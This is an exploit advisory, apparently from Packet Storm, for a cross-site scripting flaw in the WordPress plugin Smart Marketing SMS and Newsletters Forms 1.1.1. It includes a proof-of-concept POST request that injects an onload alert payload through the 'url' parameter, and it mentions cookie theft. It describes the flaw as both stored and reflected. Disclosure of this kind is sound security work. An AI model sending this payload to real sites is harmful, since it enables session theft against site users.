WordPress Smart Marketing SMS And Newsletters Forms 1.1.1 XSS
2017-12-05T00:00:00
ID PACKETSTORM:145217 Type packetstorm Reporter Ricardo Sanchez Modified 2017-12-05T00:00:00
Description
`Class Input Validation Error
Remote Yes
Credit Ricardo Sanchez
Vulnerable Smart Marketing SMS and Newsletters Forms 1.1.1
Smart Marketing SMS and Newsletters Forms is prone to a stored cross-site
scripting vulnerability because it fails to sufficiently sanitize
user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.
To exploit this issue following steps:
The XSS reflected because the value url is not filter correctly:
Demo Request POST:
POST
/wordpress/wp-content/plugins/smart-marketing-for-wp/admin/partials/custom/egoi-for-wp-form_egoi.php
HTTP/1.1
Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
url="" onload="alert('XSS')">
`
{"id": "PACKETSTORM:145217", "type": "packetstorm", "bulletinFamily": "exploit", "title": "WordPress Smart Marketing SMS And Newsletters Forms 1.1.1 XSS", "description": "", "published": "2017-12-05T00:00:00", "modified": "2017-12-05T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/145217/WordPress-Smart-Marketing-SMS-And-Newsletters-Forms-1.1.1-XSS.html", "reporter": "Ricardo Sanchez", "references": [], "cvelist": [], "lastseen": "2017-12-06T06:16:08", "viewCount": 6, "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2017-12-06T06:16:08", "rev": 2}, "dependencies": {"references": [], "modified": "2017-12-06T06:16:08", "rev": 2}, "vulnersScore": -0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/145217/wpsmsmsnf111-xss.txt", "sourceData": "`Class Input Validation Error \nRemote Yes \n \nCredit Ricardo Sanchez \nVulnerable Smart Marketing SMS and Newsletters Forms 1.1.1 \n \nSmart Marketing SMS and Newsletters Forms is prone to a stored cross-site \nscripting vulnerability because it fails to sufficiently sanitize \nuser-supplied data. \n \nAn attacker may leverage this issue to execute arbitrary script code in the \nbrowser of an unsuspecting user in the context of the affected site. This \nmay allow the attacker to steal cookie-based authentication credentials and \nto launch other attacks. \n \nTo exploit this issue following steps: \nThe XSS reflected because the value url is not filter correctly: \n \n \nDemo Request POST: \n \nPOST \n/wordpress/wp-content/plugins/smart-marketing-for-wp/admin/partials/custom/egoi-for-wp-form_egoi.php \nHTTP/1.1 \nHost: localhost \nCache-Control: max-age=0 \nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 \n(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 \nUpgrade-Insecure-Requests: 1 \nAccept: \ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 \nAccept-Encoding: gzip, deflate \nAccept-Language: es-ES,es;q=0.9 \nCookie: \nConnection: close \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 29 \n \nurl=\"\" onload=\"alert('XSS')\"> \n`\n", "immutableFields": []}